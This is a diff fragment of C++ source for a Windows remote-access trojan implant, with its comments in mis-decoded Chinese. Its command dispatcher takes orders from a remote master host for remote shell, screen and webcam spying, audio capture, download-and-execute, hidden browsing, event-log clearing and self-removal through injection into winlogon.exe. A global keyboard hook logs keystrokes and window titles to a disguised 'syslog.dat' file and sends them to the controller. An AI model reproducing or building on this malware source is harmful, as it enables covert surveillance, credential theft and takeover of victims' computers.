|
||||
{
|
||||
TerminateThread(m_hThread[i], -1);
|
||||
CloseHandle(m_hThread[i]);
|
||||
}
|
||||
}
|
||||
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ÿһ<C3BF>ֹ<EFBFBD><D6B9>ܶ<EFBFBD><DCB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>̺߳<DFB3><CCBA><EFBFBD><EFBFBD><EFBFBD>Ӧת<D3A6><D7AA>Loop_FileManager
|
||||
// <20><><EFBFBD>ϼ<EFBFBD><CFBC><EFBFBD>
|
||||
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_ACTIVED:
|
||||
InterlockedExchange((LONG *)&m_bIsActived, true);
|
||||
break;
|
||||
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
|
||||
break;
|
||||
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>鿴
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
||||
break;
|
||||
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_SHELL: // Զ<><D4B6>sehll
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
||||
break;
|
||||
case COMMAND_KEYBOARD:
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_SYSTEM:
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
|
||||
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
|
||||
(LPVOID)(lpBuffer + 1), 0, NULL, true);
|
||||
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
|
||||
break;
|
||||
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
|
||||
break;
|
||||
case COMMAND_REMOVE: // ж<><D0B6>,
|
||||
UnInstallService();
|
||||
break;
|
||||
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
||||
CleanEvent();
|
||||
break;
|
||||
case COMMAND_SESSION:
|
||||
CSystemManager::ShutdownWindows(lpBuffer[1]);
|
||||
break;
|
||||
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
|
||||
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
|
||||
break;
|
||||
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (UpdateServer((char *)lpBuffer + 1))
|
||||
UnInstallService();
|
||||
break;
|
||||
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CKernelManager::UnInstallService()
|
||||
{
|
||||
char strServiceDll[MAX_PATH];
|
||||
char strRandomFile[MAX_PATH];
|
||||
|
||||
GetSystemDirectory(strServiceDll, sizeof(strServiceDll));
|
||||
lstrcat(strServiceDll, "\\");
|
||||
lstrcat(strServiceDll, m_strServiceName);
|
||||
lstrcat(strServiceDll, "ex.dll");
|
||||
|
||||
// װ<>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱɾ<CAB1><C9BE>
|
||||
wsprintf(strRandomFile, "%d.bak", GetTickCount());
|
||||
MoveFile(strServiceDll, strRandomFile);
|
||||
MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
|
||||
|
||||
// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ļ<EFBFBD>
|
||||
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
DeleteFile(strRecordFile);
|
||||
|
||||
if (m_dwServiceType != 0x120) // owner<65><72>Զ<EFBFBD><D4B6>ɾ<EFBFBD><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>ֹͣ<CDA3>Լ<EFBFBD>ɾ<EFBFBD><C9BE>,Զ<><D4B6><EFBFBD>߳<EFBFBD>ɾ<EFBFBD><C9BE>
|
||||
{
|
||||
InjectRemoveService("winlogon.exe", m_strServiceName);
|
||||
}
|
||||
else // shared<65><64><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD>,<2C><><EFBFBD><EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>Լ<EFBFBD>
|
||||
{
|
||||
RemoveService(m_strServiceName);
|
||||
}
|
||||
// <20><><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɺ<EFBFBD><C9BA><EFBFBD>֪ͨ<CDA8><D6AA><EFBFBD>߳̿<DFB3><CCBF><EFBFBD><EFBFBD>˳<EFBFBD>
|
||||
CreateEvent(NULL, true, false, m_strKillEvent);
|
||||
}
|
||||
|
||||
bool CKernelManager::IsActived()
|
||||
{
|
||||
return m_bIsActived;
|
||||
}
|
35
CcMainDll/CcMainDll/common/KernelManager.h
Normal file
35
CcMainDll/CcMainDll/common/KernelManager.h
Normal file
@@ -0,0 +1,35 @@
|
||||
// KernelManager.h: interface for the CKernelManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)
|
||||
#define AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager <20><><EFBFBD>ǵ<EFBFBD>CClientSocket<65><74><EFBFBD>õ<EFBFBD> CManager::OnReceive <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>õľ<C3B5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>OnReceive <20>鿴OnReceive
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
|
||||
LPCTSTR lpszMasterHost, UINT nMasterPort);
|
||||
virtual ~CKernelManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
char m_strServiceName[256];
|
||||
char m_strKillEvent[256];
|
||||
|
||||
static char m_strMasterHost[256];
|
||||
static UINT m_nMasterPort;
|
||||
void UnInstallService();
|
||||
bool IsActived();
|
||||
private:
|
||||
HANDLE m_hThread[10000]; // <20>㹻<EFBFBD><E3B9BB><EFBFBD><EFBFBD>
|
||||
UINT m_nThreadCount;
|
||||
DWORD m_dwServiceType;
|
||||
bool m_bIsActived;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__D38BBAEA_31C6_4C8A_8BF7_BF3E80182EAE__INCLUDED_)
|
314
CcMainDll/CcMainDll/common/KeyboardManager.cpp
Normal file
314
CcMainDll/CcMainDll/common/KeyboardManager.cpp
Normal file
@@ -0,0 +1,314 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "..\pch.h"
|
||||
#include "KeyboardManager.h"
|
||||
#pragma comment(lib, "Imm32.lib")
|
||||
|
||||
bool g_bSignalHook = false;
|
||||
|
||||
TShared* CKeyboardManager::m_pTShared = NULL;
|
||||
HANDLE CKeyboardManager::m_hMapping_File = NULL;
|
||||
HINSTANCE CKeyboardManager::g_hInstance = NULL;
|
||||
DWORD CKeyboardManager::m_dwLastMsgTime = GetTickCount();
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CKeyboardManager::CKeyboardManager(CClientSocket *pClient) : CManager(pClient)
|
||||
{
|
||||
g_bSignalHook = true;
|
||||
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
sendOfflineRecord();
|
||||
|
||||
int dwOffset = m_pTShared->dwOffset;
|
||||
|
||||
while (m_pClient->IsRunning())
|
||||
{
|
||||
if (m_pTShared->dwOffset != dwOffset)
|
||||
{
|
||||
UINT nSize;
|
||||
if (m_pTShared->dwOffset < dwOffset)
|
||||
nSize = m_pTShared->dwOffset;
|
||||
else
|
||||
nSize = m_pTShared->dwOffset - dwOffset;
|
||||
|
||||
sendKeyBoardData((unsigned char *)&(m_pTShared->chKeyBoard[dwOffset]), nSize);
|
||||
|
||||
dwOffset = m_pTShared->dwOffset;
|
||||
}
|
||||
Sleep(300);
|
||||
}
|
||||
|
||||
if (!m_pTShared->bIsOffline)
|
||||
g_bSignalHook = false;
|
||||
}
|
||||
|
||||
CKeyboardManager::~CKeyboardManager()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void CKeyboardManager::SaveToFile(char *lpBuffer)
|
||||
{
|
||||
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE,
|
||||
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
DWORD dwBytesWrite = 0;
|
||||
DWORD dwSize = GetFileSize(hFile, NULL);
|
||||
// <20><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC>С<EFBFBD><D0A1>50M
|
||||
if (dwSize < 1024 * 1024 * 50)
|
||||
SetFilePointer(hFile, 0, 0, FILE_END);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
int nLength = lstrlen(lpBuffer);
|
||||
LPBYTE lpEncodeBuffer = new BYTE[nLength];
|
||||
for (int i = 0; i < nLength; i++)
|
||||
lpEncodeBuffer[i] = lpBuffer[i] ^ XOR_ENCODE_VALUE;
|
||||
WriteFile(hFile, lpEncodeBuffer, nLength, &dwBytesWrite, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
delete lpEncodeBuffer;
|
||||
}
|
||||
|
||||
void CKeyboardManager::SaveInfo(char *lpBuffer)
|
||||
{
|
||||
if (lpBuffer == NULL)
|
||||
return;
|
||||
|
||||
DWORD dwBytes = strlen(lpBuffer);
|
||||
|
||||
if((dwBytes < 1) || (dwBytes > SIZE_IMM_BUFFER)) return;
|
||||
|
||||
HWND hWnd = GetActiveWindow();
|
||||
|
||||
if(hWnd != m_pTShared->hActWnd)
|
||||
{
|
||||
m_pTShared->hActWnd = hWnd;
|
||||
char strCapText[256];
|
||||
GetWindowText(m_pTShared->hActWnd, strCapText, sizeof(strCapText));
|
||||
|
||||
char strSaveString[1024 * 2];
|
||||
SYSTEMTIME SysTime;
|
||||
GetLocalTime(&SysTime);
|
||||
memset(strSaveString, 0, sizeof(strSaveString));
|
||||
wsprintf
|
||||
(
|
||||
strSaveString,
|
||||
"\r\n[%02d/%02d/%d %02d:%02d:%02d] (%s)\r\n",
|
||||
SysTime.wMonth, SysTime.wDay, SysTime.wYear,
|
||||
SysTime.wHour, SysTime.wMinute, SysTime.wSecond,
|
||||
strCapText
|
||||
);
|
||||
// <20>ú<EFBFBD><C3BA><EFBFBD>Ϊ<EFBFBD><CEAA>Ӧ<EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD>
|
||||
SaveInfo(strSaveString);
|
||||
}
|
||||
|
||||
if (m_pTShared->bIsOffline)
|
||||
{
|
||||
SaveToFile(lpBuffer);
|
||||
}
|
||||
|
||||
// reset
|
||||
if ((m_pTShared->dwOffset + dwBytes) > sizeof(m_pTShared->chKeyBoard))
|
||||
{
|
||||
memset(m_pTShared->chKeyBoard, 0, sizeof(m_pTShared->chKeyBoard));
|
||||
m_pTShared->dwOffset = 0;
|
||||
}
|
||||
lstrcat(m_pTShared->chKeyBoard, lpBuffer);
|
||||
m_pTShared->dwOffset += dwBytes;
|
||||
}
|
||||
|
||||
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
MSG* pMsg;
|
||||
char strChar[2];
|
||||
char KeyName[20];
|
||||
LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
|
||||
|
||||
pMsg = (MSG*)(lParam);
|
||||
// <20><>ֹ<EFBFBD><D6B9>Ϣ<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD>pMsg->time<6D>ж<EFBFBD>
|
||||
if (
|
||||
(nCode != HC_ACTION) ||
|
||||
((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
|
||||
(m_dwLastMsgTime == pMsg->time)
|
||||
)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
m_dwLastMsgTime = pMsg->time;
|
||||
|
||||
if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
|
||||
{
|
||||
HWND hWnd = pMsg->hwnd;
|
||||
HIMC hImc = ImmGetContext(hWnd);
|
||||
LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
|
||||
// <20><><EFBFBD>ǵ<EFBFBD>UNICODE
|
||||
strLen += sizeof(WCHAR);
|
||||
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
|
||||
strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
|
||||
ImmReleaseContext(hWnd, hImc);
|
||||
SaveInfo(m_pTShared->str);
|
||||
}
|
||||
|
||||
if (pMsg->message == WM_CHAR)
|
||||
{
|
||||
if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
|
||||
{
|
||||
strChar[0] = pMsg->wParam;
|
||||
strChar[1] = '\0';
|
||||
SaveInfo(strChar);
|
||||
}
|
||||
else if (pMsg->wParam == VK_RETURN)
|
||||
{
|
||||
SaveInfo("\r\n");
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD>
|
||||
else
|
||||
{
|
||||
memset(KeyName, 0, sizeof(KeyName));
|
||||
if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName) - 2) > 0)
|
||||
{
|
||||
KeyName[0] = '[';
|
||||
lstrcat(KeyName, "]");
|
||||
SaveInfo(KeyName);
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
void CKeyboardManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE)
|
||||
{
|
||||
m_pTShared->bIsOffline = !m_pTShared->bIsOffline;
|
||||
if (!m_pTShared->bIsOffline)
|
||||
DeleteFile(m_pTShared->strRecordFile);
|
||||
else if (GetFileAttributes(m_pTShared->strRecordFile) == -1)
|
||||
{
|
||||
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR && m_pTShared->bIsOffline)
|
||||
{
|
||||
HANDLE hFile = CreateFile(m_pTShared->strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
CloseHandle(hFile);
|
||||
}
|
||||
}
|
||||
|
||||
bool CKeyboardManager::Initialization()
|
||||
{
|
||||
CShareRestrictedSD ShareRestrictedSD;
|
||||
m_hMapping_File = CreateFileMapping((HANDLE)0xFFFFFFFF, ShareRestrictedSD.GetSA(), PAGE_READWRITE, 0, sizeof(TShared), "_kaspersky");
|
||||
if (m_hMapping_File == NULL)
|
||||
return false;
|
||||
|
||||
// ע<><D7A2>m_pTShared<65><64><EFBFBD>ܽ<EFBFBD><DCBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>, Ҫ<><D2AA>StartHook<6F><6B><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD>
|
||||
m_pTShared = (TShared *)MapViewOfFile(m_hMapping_File, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, 0);
|
||||
|
||||
if (m_pTShared == NULL)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CKeyboardManager::StartHook()
|
||||
{
|
||||
if (!Initialization())
|
||||
return false;
|
||||
|
||||
ZeroMemory(m_pTShared, sizeof(TShared));
|
||||
|
||||
g_bSignalHook = true;
|
||||
|
||||
m_dwLastMsgTime = GetTickCount();
|
||||
m_pTShared->hActWnd = NULL;
|
||||
m_pTShared->hGetMsgHook = NULL;
|
||||
m_pTShared->dwOffset = 0;
|
||||
|
||||
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
|
||||
|
||||
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
|
||||
lstrcat(m_pTShared->strRecordFile, "\\syslog.dat");
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ڣ<EFBFBD><DAA3>Ϳ<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
|
||||
m_pTShared->bIsOffline = true;
|
||||
else
|
||||
m_pTShared->bIsOffline = false;
|
||||
|
||||
if (m_pTShared->hGetMsgHook == NULL)
|
||||
{
|
||||
m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void CKeyboardManager::StopHook()
|
||||
{
|
||||
if (m_pTShared->hGetMsgHook != NULL)
|
||||
UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
|
||||
m_pTShared->hGetMsgHook = NULL;
|
||||
|
||||
UnmapViewOfFile(m_pTShared);
|
||||
CloseHandle(m_hMapping_File);
|
||||
m_pTShared = NULL;
|
||||
}
|
||||
|
||||
int CKeyboardManager::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)m_pTShared->bIsOffline;
|
||||
|
||||
return Send((LPBYTE)&bToken[0], sizeof(bToken));
|
||||
}
|
||||
|
||||
int CKeyboardManager::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
LocalFree(lpBuffer);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
int CKeyboardManager::sendOfflineRecord()
|
||||
{
|
||||
int nRet = 0;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwBytesRead = 0;
|
||||
char strRecordFile[MAX_PATH];
|
||||
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
|
||||
lstrcat(strRecordFile, "\\syslog.dat");
|
||||
HANDLE hFile = CreateFile(strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
char *lpBuffer = new char[dwSize];
|
||||
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < dwSize; i++)
|
||||
lpBuffer[i] ^= XOR_ENCODE_VALUE;
|
||||
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
|
||||
delete lpBuffer;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return nRet;
|
||||
}
|
171
CcMainDll/CcMainDll/common/KeyboardManager.h
Normal file
171
CcMainDll/CcMainDll/common/KeyboardManager.h
Normal file
@@ -0,0 +1,171 @@
|
||||
// KeyboardManager.h: interface for the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
|
||||
#define AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
|
||||
#define SIZE_IMM_BUFFER 128
|
||||
#define XOR_ENCODE_VALUE 98 // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>ܵ<EFBFBD>xorֵ
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwOffset;
|
||||
HHOOK hGetMsgHook;
|
||||
HWND hActWnd; //current actived window
|
||||
bool bIsOffline;
|
||||
char strRecordFile[MAX_PATH];
|
||||
char chKeyBoard[1024];
|
||||
char str[SIZE_IMM_BUFFER];
|
||||
}TShared;
|
||||
|
||||
|
||||
class CShareRestrictedSD
|
||||
{
|
||||
public:
|
||||
CShareRestrictedSD()
|
||||
{
|
||||
ptr = NULL;
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = &sd;
|
||||
sa.bInheritHandle = FALSE;
|
||||
// build a restricted security descriptor
|
||||
ptr = BuildRestrictedSD(&sd);
|
||||
}
|
||||
|
||||
virtual ~CShareRestrictedSD()
|
||||
{
|
||||
if (ptr)
|
||||
FreeRestrictedSD(ptr);
|
||||
}
|
||||
|
||||
LPVOID BuildRestrictedSD(PSECURITY_DESCRIPTOR pSD)
|
||||
{
|
||||
|
||||
DWORD dwAclLength;
|
||||
PSID psidEveryone = NULL;
|
||||
PACL pDACL = NULL;
|
||||
BOOL bResult = FALSE;
|
||||
PACCESS_ALLOWED_ACE pACE = NULL;
|
||||
SID_IDENTIFIER_AUTHORITY siaWorld = SECURITY_WORLD_SID_AUTHORITY ;
|
||||
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
|
||||
|
||||
__try {
|
||||
|
||||
// initialize the security descriptor
|
||||
if (!InitializeSecurityDescriptor(pSD,
|
||||
SECURITY_DESCRIPTOR_REVISION)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// obtain a sid for the Authenticated Users Group
|
||||
if (!AllocateAndInitializeSid(&siaWorld, 1,
|
||||
SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0,
|
||||
&psidEveryone)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// NOTE:
|
||||
//
|
||||
// The Authenticated Users group includes all user accounts that
|
||||
// have been successfully authenticated by the system. If access
|
||||
// must be restricted to a specific user or group other than
|
||||
// Authenticated Users, the SID can be constructed using the
|
||||
// LookupAccountSid() API based on a user or group name.
|
||||
|
||||
// calculate the DACL length
|
||||
dwAclLength = sizeof(ACL)
|
||||
// add space for Authenticated Users group ACE
|
||||
+ sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD)
|
||||
+ GetLengthSid(psidEveryone);
|
||||
|
||||
// allocate memory for the DACL
|
||||
pDACL = (PACL) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
|
||||
dwAclLength);
|
||||
if (!pDACL) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// initialize the DACL
|
||||
if (!InitializeAcl(pDACL, dwAclLength, ACL_REVISION)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
// add the Authenticated Users group ACE to the DACL with
|
||||
// GENERIC_READ, GENERIC_WRITE, and GENERIC_EXECUTE access
|
||||
if (!AddAccessAllowedAce(pDACL, ACL_REVISION,
|
||||
GENERIC_ALL,
|
||||
psidEveryone)) {
|
||||
__leave;
|
||||
}
|
||||
// set the DACL in the security descriptor
|
||||
if (!SetSecurityDescriptorDacl(pSD, TRUE, pDACL, FALSE)) {
|
||||
__leave;
|
||||
}
|
||||
|
||||
bResult = TRUE;
|
||||
|
||||
}
|
||||
__finally {
|
||||
if (psidEveryone) FreeSid(psidEveryone);
|
||||
}
|
||||
|
||||
if (bResult == FALSE) {
|
||||
if (pDACL) HeapFree(GetProcessHeap(), 0, pDACL);
|
||||
pDACL = NULL;
|
||||
}
|
||||
|
||||
return (LPVOID) pDACL;
|
||||
}
|
||||
|
||||
// The following function frees memory allocated in the
|
||||
// BuildRestrictedSD() function
|
||||
VOID FreeRestrictedSD(LPVOID ptr)
|
||||
{
|
||||
if (ptr) HeapFree(GetProcessHeap(), 0, ptr);
|
||||
}
|
||||
|
||||
SECURITY_ATTRIBUTES* GetSA()
|
||||
{
|
||||
if (ptr)
|
||||
return &sa;
|
||||
else
|
||||
return NULL;
|
||||
}
|
||||
|
||||
protected:
|
||||
LPVOID ptr;
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
SECURITY_DESCRIPTOR sd;
|
||||
};
|
||||
|
||||
class CKeyboardManager : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager(CClientSocket *pClient);
|
||||
virtual ~CKeyboardManager();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
|
||||
static bool StartHook();
|
||||
static void StopHook();
|
||||
static bool Initialization();
|
||||
|
||||
static HINSTANCE g_hInstance;
|
||||
static DWORD m_dwLastMsgTime;
|
||||
static TShared* m_pTShared;
|
||||
static HANDLE m_hMapping_File;
|
||||
private:
|
||||
static LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
|
||||
static void SaveInfo(char *lpBuffer);
|
||||
static void SaveToFile(char *lpBuffer);
|
||||
int sendOfflineRecord();
|
||||
int sendStartKeyBoard();
|
||||
int sendKeyBoardData(LPBYTE lpData, UINT nSize);
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KEYBOARDMANAGER_H__F0442063_CAAE_4BA1_B6CA_1FCB39A996AC__INCLUDED_)
|
56
CcMainDll/CcMainDll/common/Manager.cpp
Normal file
56
CcMainDll/CcMainDll/common/Manager.cpp
Normal file
@@ -0,0 +1,56 @@
|
||||
// Manager.cpp: implementation of the CManager class.
|
